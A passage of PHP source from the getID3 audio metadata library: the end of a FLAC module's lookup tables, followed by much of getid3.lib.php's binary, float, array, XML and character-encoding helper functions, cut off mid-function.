			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
			0x74756E65 => 'TagTuner',                                                                           // "tune"
			0x78626174 => 'XBAT',                                                                               // "xbat"
			0x786D6364 => 'xmcd',                                                                               // "xmcd"
		);
		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
	}

	/**
	 * @param int $type_id
	 *
	 * @return string
	 */
	public static function pictureTypeLookup($type_id) {
		static $lookup = array (
			 0 => 'Other',
			 1 => '32x32 pixels \'file icon\' (PNG only)',
			 2 => 'Other file icon',
			 3 => 'Cover (front)',
			 4 => 'Cover (back)',
			 5 => 'Leaflet page',
			 6 => 'Media (e.g. label side of CD)',
			 7 => 'Lead artist/lead performer/soloist',
			 8 => 'Artist/performer',
			 9 => 'Conductor',
			10 => 'Band/Orchestra',
			11 => 'Composer',
			12 => 'Lyricist/text writer',
			13 => 'Recording Location',
			14 => 'During recording',
			15 => 'During performance',
			16 => 'Movie/video screen capture',
			17 => 'A bright coloured fish',
			18 => 'Illustration',
			19 => 'Band/artist logotype',
			20 => 'Publisher/Studio logotype',
		);
		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// getid3.lib.php - part of getID3()                           //
//  see readme.txt for more details                            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if(!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) {
	if(LIBXML_VERSION >= 20621) {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING | LIBXML_COMPACT);
	} else {
		define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NONET | LIBXML_NOWARNING);
	}
}

class getid3_lib
{
	/**
	 * @param string      $string
	 * @param bool        $hex
	 * @param bool        $spaces
	 * @param string|bool $htmlencoding
	 *
	 * @return string
	 */
	public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') {
		$returnstring = '';
		for ($i = 0; $i < strlen($string); $i++) {
			if ($hex) {
				$returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT);
			} else {
				$returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤');
			}
			if ($spaces) {
				$returnstring .= ' ';
			}
		}
		if (!empty($htmlencoding)) {
			if ($htmlencoding === true) {
				$htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean
			}
			$returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding);
		}
		return $returnstring;
	}

	/**
	 * Truncates a floating-point number at the decimal point.
	 *
	 * @param float $floatnumber
	 *
	 * @return float|int returns int (if possible, otherwise float)
	 */
	public static function trunc($floatnumber) {
		if ($floatnumber >= 1) {
			$truncatednumber = floor($floatnumber);
		} elseif ($floatnumber <= -1) {
			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}

	/**
	 * @param int|null $variable
	 * @param int      $increment
	 *
	 * @return bool
	 */
	public static function safe_inc(&$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	/**
	 * @param int|float $floatnum
	 *
	 * @return int|float
	 */
	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	/**
	 * @param int $num
	 *
	 * @return bool
	 */
	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	/**
	 * Perform a division, guarding against division by zero
	 *
	 * @param float|int $numerator
	 * @param float|int $denominator
	 * @param float|int $fallback
	 * @return float|int
	 */
	public static function SafeDiv($numerator, $denominator, $fallback = 0) {
		return $denominator ? $numerator / $denominator : $fallback;
	}

	/**
	 * @param string $fraction
	 *
	 * @return float
	 */
	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
		return (int) $numerator / ($denominator ? $denominator : 1);
	}

	/**
	 * @param string $binarynumerator
	 *
	 * @return float
	 */
	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param string $binarypointnumber
	 * @param int    $maxbits
	 *
	 * @return array
	 */
	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber[0] == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param float $floatvalue
	 *
	 * @return string
	 */
	public static function Float2BinaryDecimal($floatvalue) {
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
	 *
	 * @param float $floatvalue
	 * @param int $bits
	 *
	 * @return string|false
	 */
	public static function Float2String($floatvalue, $bits) {
		$exponentbits = 0;
		$fractionbits = 0;
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
		}
		if ($floatvalue >= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}

	/**
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}

	/**
	 * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
	 *
	 * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
	 *
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function BigEndian2Float($byteword) {
		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword[0];
		$floatvalue = 0;
		$exponentbits = 0;
		$fractionbits = 0;

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword[16]);
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;

			default:
				return false;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
			// Not a Number
			$floatvalue = NAN;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -INF;
			} else {
				$floatvalue = INF;
			}
		} elseif (($exponent == 0) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0.0;
			} else {
				$floatvalue = 0.0;
			}
		} elseif (($exponent == 0) && ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}

	/**
	 * @param string $byteword
	 * @param bool   $synchsafe
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 * @throws Exception
	 */
	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i < $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed && !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen <= PHP_INT_SIZE) {
				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
				if ($intvalue & $signMaskBit) {
					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function LittleEndian2Bin($byteword) {
		return self::BigEndian2Bin(strrev($byteword));
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i < $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 * @param bool $signed
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number < 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes > PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number & (0x80 << (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
	}

	/**
	 * @param int $number
	 *
	 * @return string
	 */
	public static function Dec2Bin($number) {
		if (!is_numeric($number)) {
			// https://github.com/JamesHeinrich/getID3/issues/299
			trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING);
			return '';
		}
		$bytes = array();
		while ($number >= 256) {
			$bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = (int) $number;
		$binstring = '';
		foreach ($bytes as $i => $byte) {
			$binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}

	/**
	 * @param string $binstring
	 * @param bool   $signed
	 *
	 * @return int|float
	 */
	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring[0] == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i < strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}

	/**
	 * @param string $binstring
	 *
	 * @return string
	 */
	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 *
	 * @return string
	 */
	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number > 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number & 127);
				$number >>= 7;
			} else {
				$intstring = $intstring.chr($number & 255);
				$number >>= 8;
			}
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false|null
	 */
	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key => $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}

	/**
	 * @param array $theArray
	 *
	 * @return bool
	 */
	public static function ksort_recursive(&$theArray) {
		ksort($theArray);
		foreach ($theArray as $key => $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	/**
	 * @param string $filename
	 * @param int    $numextensions
	 *
	 * @return string
	 */
	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i < $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}

	/**
	 * @param int $seconds
	 *
	 * @return string
	 */
	public static function PlaytimeString($seconds) {
		$sign = (($seconds < 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}

	/**
	 * @param int $macdate
	 *
	 * @return int|float
	 */
	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	/**
	 * @param string $ArrayPath
	 * @param string $Separator
	 * @param mixed $Value
	 *
	 * @return array
	 */
	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		$ReturnedArray = array();
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($maxvalue === false) || ($value > $maxvalue)) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($minvalue === false) || ($value < $minvalue)) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	/**
	 * @param string $XMLstring
	 *
	 * @return array|false
	 */
	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
			// https://core.trac.wordpress.org/changeset/29378
			// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
			// disabled by default, but is still needed when LIBXML_NOENT is used.
			$loader = @libxml_disable_entity_loader(true);
			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
			$return = self::SimpleXMLelement2array($XMLobject);
			@libxml_disable_entity_loader($loader);
			return $return;
		}
		return false;
	}

	/**
	* @param SimpleXMLElement|array|mixed $XMLobject
	*
	* @return mixed
	*/
	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) && !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject;
		foreach ($XMLarray as $key => $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}

	/**
	 * Returns checksum for a file from starting position to absolute end position.
	 *
	 * @param string $file
	 * @param int    $offset
	 * @param int    $end
	 * @param string $algorithm
	 *
	 * @return string|false
	 * @throws getid3_exception
	 */
	public static function hash_data($file, $offset, $end, $algorithm) {
		if (!self::intValueSupported($end)) {
			return false;
		}
		if (!in_array($algorithm, array('md5', 'sha1'))) {
			throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
		}

		$size = $end - $offset;

		$fp = fopen($file, 'rb');
		fseek($fp, $offset);
		$ctx = hash_init($algorithm);
		while ($size > 0) {
			$buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE));
			hash_update($ctx, $buffer);
			$size -= getID3::FREAD_BUFFER_SIZE;
		}
		$hash = hash_final($ctx);
		fclose($fp);

		return $hash;
	}

	/**
	 * @param string $filename_source
	 * @param string $filename_dest
	 * @param int    $offset
	 * @param int    $length
	 *
	 * @return bool
	 * @throws Exception
	 *
	 * @deprecated Unused, may be removed in future versions of getID3
	 */
	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
		if (!self::intValueSupported($offset + $length)) {
			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
		}
		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
			if (($fp_dest = fopen($filename_dest, 'wb'))) {
				if (fseek($fp_src, $offset) == 0) {
					$byteslefttowrite = $length;
					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
						$byteslefttowrite -= $byteswritten;
					}
					fclose($fp_dest);
					return true;
				} else {
					fclose($fp_src);
					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
				}
			} else {
				throw new Exception('failed to create file for writing '.$filename_dest);
			}
		} else {
			throw new Exception('failed to open file for reading '.$filename_source);
		}
	}

	/**
	 * @param int $charval
	 *
	 * @return string
	 */
	public static function iconv_fallback_int_utf8($charval) {
		if ($charval < 128) {
			// 0bbbbbbb
			$newcharstring = chr($charval);
		} elseif ($charval < 2048) {
			// 110bbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} elseif ($charval < 65536) {
			// 1110bbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  12) | 0xE0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} else {
			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  18) | 0xF0);
			$newcharstring .= chr(($charval >>  12) | 0xC0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-8
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xEF\xBB\xBF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$charval = ord($string[$i]);
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= "\x00".$string[$i];
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= $string[$i]."\x00";
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16($string) {
		return self::iconv_fallback_iso88591_utf16le($string, true);
	}

	/**
	 * UTF-8 => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_iso88591($string) {
		$newcharstring = '';
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
